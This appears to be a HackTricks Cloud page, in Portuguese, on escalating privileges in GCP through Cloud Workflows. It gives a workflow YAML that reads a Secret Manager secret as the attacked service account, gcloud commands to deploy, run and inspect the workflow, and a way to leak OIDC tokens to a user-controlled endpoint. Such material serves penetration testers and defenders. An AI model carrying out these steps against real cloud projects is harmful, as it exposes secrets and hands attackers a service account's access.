GCP - Workflows Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Workflows
Informações Básicas:
workflows.workflows.create
, iam.serviceAccounts.ActAs
, workflows.executions.create
, (workflows.workflows.get
, workflows.operations.get
)
Até onde sei, não é possível obter um shell com acesso ao endpoint de metadados contendo as credenciais da SA atacada a um Workflow. No entanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.
É possível encontrar a documentação dos conectores. Por exemplo, esta é a página do conector Secretmanager. Na barra lateral, é possível encontrar vários outros conectores.
E aqui você pode encontrar um exemplo de um conector que imprime um segredo:
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
Atualização a partir do CLI:
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
Se você receber um erro como ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist
, apenas espere um minuto e tente novamente.
Se você não tiver acesso à web, é possível acionar e ver a execução de um Workflow com:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
caution
Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis
Observe que mesmo se você receber um erro como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...
porque você não tem essa permissão, o fluxo de trabalho foi gerado.
Vazamento de token OIDC (e OAuth?)
De acordo com a documentação, é possível usar etapas de fluxo de trabalho que enviarão uma solicitação HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do Cloud Scheduler, a solicitação HTTP com o token Oauth deve ser para o host .googleapis.com
.
caution
Portanto, é possível vazar o token OIDC indicando um endpoint HTTP controlado pelo usuário, mas para vazar o token OAuth você precisaria de um bypass para essa proteção. No entanto, você ainda pode contatar qualquer API GCP para realizar ações em nome do SA usando conectores ou solicitações HTTP com o token OAuth.
Oauth
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
OIDC
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
workflows.workflows.update
...
Com esta permissão, em vez de workflows.workflows.create
, é possível atualizar um fluxo de trabalho já existente e realizar os mesmos ataques.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.